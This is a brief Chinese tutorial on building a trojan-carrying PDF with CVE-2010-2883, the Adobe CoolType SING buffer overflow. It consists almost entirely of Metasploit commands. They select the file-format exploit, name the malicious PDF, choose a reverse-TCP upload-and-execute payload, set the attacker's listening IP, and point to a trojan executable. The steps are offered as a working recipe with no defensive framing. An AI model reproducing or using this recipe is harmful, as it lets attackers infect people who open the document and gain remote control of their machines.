利用CVE-2010-2883漏洞制作pdf马

利用CVE-2010-2883漏洞制作pdf马

原文：www.wobushi.cn

msf > searchCVE-2010-2883

      exploit/windows/browser/adobe_cooltype_sing     2010-09-07       great Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow

     exploit/windows/fileformat/adobe_cooltype_sing  2010-09-07       great Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow

(第一个为浏览器触发，第二个为打开触发)

msf > useexploit/windows/fileformat/adobe_cooltype_sing

msf exploit(adobe_cooltype_sing) >
set FIlENAME sky.pdf（自定义文件名）

msf exploit(adobe_cooltype_sing) > set payload windows/upexec/reverse_tcp

msf exploit(adobe_cooltype_sing) > set LHOST 192.168.195.128（设置本机ip）

msf exploit(adobe_cooltype_sing) >
set PEXEC /root/sky.exe （设置木马路径）